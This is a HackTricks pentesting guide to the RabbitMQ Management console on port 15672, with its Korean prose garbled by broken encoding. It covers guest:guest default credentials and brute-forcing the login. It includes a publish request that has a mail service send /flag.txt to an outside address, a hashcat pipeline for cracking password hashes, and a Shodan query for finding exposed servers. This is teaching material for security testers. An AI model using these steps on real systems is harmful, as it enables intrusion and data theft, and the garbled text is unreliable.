# 15672 - Pentesting RabbitMQ Management
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** π¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** π¦ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
## Basic Information
RabbitMQμ λν μμΈν λ΄μ©μ [**5671,5672 - Pentesting AMQP**](5671-5672-pentesting-amqp.md)μμ νμΈν μ μμ΅λλ€.\
μ΄ ν¬νΈμμλ [management plugin](https://www.rabbitmq.com/management.html)μ΄ νμ±νλμ΄ μμΌλ©΄ RabbitMQ Management μΉ μ½μμ μ°Ύμ μ μμ΅λλ€.\
λ©μΈ νμ΄μ§λ λ€μκ³Ό κ°μμΌ ν©λλ€:
![](<../.gitbook/assets/image (336).png>)
## Enumeration
κΈ°λ³Έ μ격 μ¦λͺ
μ "_**guest**_":"_**guest**_". μλνμ§ μλ κ²½μ° [**λ‘κ·ΈμΈ λΈλ£¨νΈ ν¬μ€**](../generic-methodologies-and-resources/brute-force.md#http-post-form)λ₯Ό μλν΄ λ³Ό μ μμ΅λλ€.
μ΄ λͺ¨λμ μλμΌλ‘ μμνλ €λ©΄ λ€μμ μ€νν΄μΌ ν©λλ€:
```
rabbitmq-plugins enable rabbitmq_management
service rabbitmq-server restart
```
ν λ² μ¬λ°λ₯΄κ² μΈμ¦νλ©΄ κ΄λ¦¬ μ½μμ λ³Ό μ μμ΅λλ€:
![](<../.gitbook/assets/image (441).png>)
λν, μ ν¨ν μ격 μ¦λͺ
μ΄ μλ κ²½μ° `http://localhost:15672/api/connections`μ μ λ³΄κ° ν₯λ―Έλ‘μΈ μ μμ΅λλ€.
λν, μ΄ μλΉμ€μ APIλ₯Ό μ¬μ©νμ¬ λ€μκ³Ό κ°μ μμ²μΌλ‘ **ν μμ λ°μ΄ν°λ₯Ό κ²μ**νλ κ²μ΄ κ°λ₯ν©λλ€:
```bash
POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
Host: 172.32.56.72:15672
Authorization: Basic dGVzdDp0ZXN0
Accept: */*
Content-Type: application/json;charset=UTF-8
Content-Length: 267
{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"zevtnax+ppp@gmail.com\", \"attachments\": [{\"path\": \"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}
```
## ν΄μ ν¬λνΉ
```bash
echo | base64 -d | xxd -pr -c128 | perl -pe 's/^(.{8})(.*)/$2:$1/' > hash.txt
hashcat -m 1420 --hex-salt hash.txt wordlist
```
### Shodan
* `port:15672 http`
**λ²κ·Έ λ°μ΄ν° ν**: **κ°μ
νμΈμ** **Intigriti**, ν΄μ»€λ₯Ό μν΄ ν΄μ»€κ° λ§λ ν리미μ **λ²κ·Έ λ°μ΄ν° νλ«νΌ**! μ€λ [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)μμ μ ν¬μ ν¨κ»νκ³ μ΅λ **$100,000**μ 보μμ λ°κΈ° μμνμΈμ!
{% embed url="https://go.intigriti.com/hacktricks" %}
{% hint style="success" %}
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks μ§μνκΈ°
* [**ꡬλ
κ³ν**](https://github.com/sponsors/carlospolop) νμΈνκΈ°!
* **π¬ [**Discord κ·Έλ£Ή**](https://discord.gg/hRep4RUj7f) λλ [**ν
λ κ·Έλ¨ κ·Έλ£Ή**](https://t.me/peass)μ κ°μ
νκ±°λ **Twitter** π¦ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**λ₯Ό νλ‘μ°νμΈμ.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) λ° [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.**
{% endhint %}